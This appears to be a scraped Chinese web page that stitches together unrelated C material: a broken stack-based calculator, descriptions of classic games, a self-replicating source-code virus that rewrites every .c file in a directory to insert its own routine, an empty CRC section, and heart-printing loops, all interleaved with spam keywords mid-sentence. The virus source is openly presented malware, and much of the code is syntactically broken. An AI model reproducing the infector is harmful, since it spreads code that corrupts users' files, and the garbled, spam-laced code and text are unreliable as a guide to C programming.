用C语言写的码c码例计算器源代码
#include<stdio.h>
#include<iostream.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
typedef float DataType;
typedef struct
{
DataType *data;
int max;
int top;
}Stack;
void SetStack(Stack *S,int n)
{
S->data=(DataType*)malloc(n*sizeof(DataType));
if(S->data==NULL)
{
printf("overflow");
exit(1);
}
S->max=n;
S->top=-1;
}
void FreeStack(Stack *S)
{
free(S->data);
}
int StackEmpty(Stack *S)
{
if(S->top==-1)
return(1);
return(0);
}
DataType Peek(Stack *S)
{
if(S->top==S->max-1)
{
printf("Stack is empty!\n");
exit(1);
}
return(S->data[S->top]);
}
void Push(Stack *S,DataType item)
{
if(S->top==S->max-1)
{
printf("Stack is full!\n");
exit(1);
}
S->top++;
S->data[S->top]=item;
}
DataType Pop(Stack *S)
{
if(S->top==-1)
{
printf("Pop an empty stack!\n");
exit(1);
}
S->top--;
return(S->data[S->top+1]);
}
typedef struct
{
char op;
int inputprecedence;
int stackprecedence;
}DataType1;
typedef struct
{
DataType1 *data;
int max;
int top;
}Stack1;
void SetStack1(Stack1 *S,int n)
{
S->data=(DataType1*)malloc(n*sizeof(DataType1));
if(S->data==NULL)
{
printf("overflow");
exit(1);
}
S->max=n;
S->top=-1;
}
void FreeStack1(Stack1 *S)
{
free(S->data);
}
int StackEmpty1(Stack1 *S)
{
if(S->top==-1)
return(1);
return(0);
}
DataType1 Peek1(Stack1 *S)
{
if(S->top==S->max-1)
{
printf("Stack1 is empty!\n");
exit(1);
}
return(S->data[S->top]);
}
void Push1(Stack1 *S,DataType1 item)
{
if(S->top==S->max-1)
{
printf("Stack is full!\n");
exit(1);
}
S->top++;
S->data[S->top]=item;
}
DataType1 Pop1(Stack1 *S)
{
if(S->top==-1)
{
printf("Pop an empty stack!\n");
exit(1);
}
S->top--;
return(S->data[S->top+1]);
}
DataType1 MathOptr(char ch)
{
DataType1 optr;
optr.op=ch;
switch(optr.op)
{
case'+':
case'-':
optr.inputprecedence=1;
optr.stackprecedence=1;
break;
case'*':
case'/':
optr.inputprecedence=2;
optr.stackprecedence=2;
break;
case'(':
optr.inputprecedence=3;
optr.stackprecedence=-1;
break;
case')':
optr.inputprecedence=0;
optr.stackprecedence=0;
break;
}
return(optr);
}
void Evaluate(Stack *OpndStack,DataType1 optr)
{
DataType opnd1,opnd2;
opnd1=Pop(OpndStack);
opnd2=Pop(OpndStack);
switch(optr.op)
{
case'+':
Push(OpndStack,opnd2+opnd1);
break;
case'-':
Push(OpndStack,opnd2-opnd1);
break;
case'*':
Push(OpndStack,opnd2*opnd1);
break;
case'/':
Push(OpndStack,opnd2/opnd1);
break;
}
}
int isoptr(char ch)
{
if(ch=='+'||ch=='-'||ch=='*'||ch=='/'||ch=='(')
return(1);
return(0);
}
void Infix(char *str)
{
int i,k,n=strlen(str);
char ch,numstr[];
DataType opnd;
DataType1 optr;
Stack OpndStack;
Stack1 OptrStack;
SetStack(&OpndStack,n);
SetStack1(&OptrStack,n);
k=0;
ch=str[k];
while(ch!='=')
if(isdigit(ch)||ch=='.')
{
for(i=0;isdigit(ch)||ch=='.';i++)
{
numstr[i]=ch;
k++;
ch=str[k];
}
numstr[i]='\0';
opnd= atof(numstr);
Push(&OpndStack,opnd);
}
else
if(isoptr(ch))
{
optr=MathOptr(ch);
while(Peek1(&OptrStack).stackprecedence>=optr.inputprecedence)
Evaluate(&OpndStack,Pop1(&OptrStack));
Push1(&OptrStack,optr);
k++;
ch=str[k];
}
else if(ch==')')
{
optr=MathOptr(ch);
while(Peek1(&OptrStack).stackprecedence>=optr.inputprecedence)
Evaluate(&OpndStack,Pop1(&OptrStack));
Pop1(&OptrStack);
k++;
ch=str[k];
}
while(!StackEmpty1(&OptrStack))
Evaluate(&OpndStack,Pop1(&OptrStack));
opnd=Pop(&OpndStack);
cout<<"你输入表达式的计算结果为"<<endl;
printf("%-6.2f\n",opnd);
FreeStack(&OpndStack);
FreeStack1(&OptrStack);
}
void main()
{
cout<<"请输入你要计算的表达式,并以“=”号结束。"<<endl;
char str[];
gets(str);
Infix(str);
=================================================================
哈哈!源代给分吧!例源
c语言游戏代码大全(收录多款经典游戏源码)
C语言是码c码例一种广泛使用的编程语言,其强大的源代pyton源码下载功能和高效的性能使其成为游戏开发的首选语言。本文将介绍多款经典游戏的例源C语言源码,供游戏开发者学习和参考。码c码例操作步骤
Step1:下载源码
访问Github上的源代C语言游戏代码大全仓库,找到需要的例源游戏源码,点击“Download”按钮下载源码压缩包。码c码例
Step2:解压源码
使用解压软件将下载的源代源码压缩包解压到本地硬盘上。
Step3:编译源码
使用C语言编译器(如GCC)编译源码,例源生成可执行文件。码c码例
Step4:运行游戏
运行生成的源代可执行文件,开始游戏。
经典游戏源码
1.俄罗斯方块
俄罗斯方块是一款经典的益智游戏,玩家需要通过旋转和移动方块,使其在下落过程中排列成完整的一行或多行,从而消除方块并得分。
操作步骤
使用方向键控制方块移动和旋转,业务受理源码按空格键加速方块下落。
2.扫雷
扫雷是一款经典的单人益智游戏,玩家需要根据周围的数字推断出隐藏在方格中的地雷位置,最终揭开所有非地雷方格并得分。
操作步骤
使用鼠标左键点击方格揭开,使用鼠标右键标记可能的地雷位置。
3.贪吃蛇
贪吃蛇是一款经典的单人游戏,玩家需要通过控制一条蛇在屏幕上移动,吃掉食物并不断成长,直到撞到墙壁或自己的it源码时代身体为止。
操作步骤
使用方向键控制蛇的移动方向,吃到食物后蛇的长度加1。
4.五子棋
五子棋是一款经典的两人对弈游戏,玩家需要通过在棋盘上下棋,先在横、竖、斜方向上连成五子的一方获胜。
操作步骤
使用鼠标点击棋盘上的空格下棋,先连成五子的一方获胜。
5.推箱子
推箱子是合同网源码一款经典的益智游戏,玩家需要通过推动箱子使其到达指定位置,最终完成所有关卡。
操作步骤
使用方向键控制人物移动和推动箱子,将箱子推到指定位置即可过关。
c语言木马源代码
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[][];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={ "stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=)
{
fclose(in);
goto next;
}
p=fgets(buf[i],,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、deepctr源码详解木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
crc校验C语言源码实例解析
一、CRC概念
CRC,即循环冗余码校验,通过除法和余数原理实现错误侦测。在实际应用中,发送设备计算CRC值与数据一起发送给接收设备。接收设备收到数据后,重新计算CRC值并与接收到的CRC值进行比较。若两个CRC值不同,则表明数据传输过程中出现了错误。
二、CRC源码解析
1、函数实现
2、计算结果
C语言爱心代码,C语言爱心代码大全
探索C语言的魅力,让我们以一种独特的方式表达爱意。在编程的世界里,用代码编织情感,可以创造出令人瞩目的艺术品。下面是几个基础的C语言爱心代码展示,让你一窥C语言的美学。
首先,让我们从简单的图案开始。一个简单的爱心图案可以用以下代码实现:
c
#include
int main() {
int i, j;
for (i = 0; i <= 5; i++) {
for (j = 0; j <= 5; j++) {
if ((i + j == 5) || (i - j == 3) || (i == j))
printf("*");
else
printf(" ");
}
printf("\n");
}
return 0;
}
这段代码通过控制打印星号(*)和空格的输出,形成了一个心形图案。你可以在编译器上运行这段代码,亲眼见证爱心的诞生。
接下来,我们尝试更复杂一点的动态爱心代码。一个动态爱心可以随着输入参数的变化而变化大小和位置。下面是一个简单的动态爱心实现示例:
c
#include
int main() {
int i, j, n;
printf("请输入爱心的大小: ");
scanf("%d", &n);
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
if ((i + j == n - 1) || (i - j == n - 1) || (i == j))
printf("*");
else
printf(" ");
}
printf("\n");
}
return 0;
}
通过输入不同的数值,这个动态爱心可以展现出不同的大小和形状,增添更多的趣味性。
以上展示了几个基础和简单的C语言爱心代码。如果你对C语言充满热情,不妨继续探索更多可能,将爱意以代码的形式传达给世界。从这些代码出发,你可以不断尝试和改进,创造出更多独特的作品。
如果想获取更多C语言爱心源代码,可以访问以下链接:
docs.qq.com/doc/DV0hOY3...
2024-11-15 00:56
2024-11-14 23:05
2024-11-14 22:53
2024-11-14 22:41
2024-11-14 22:28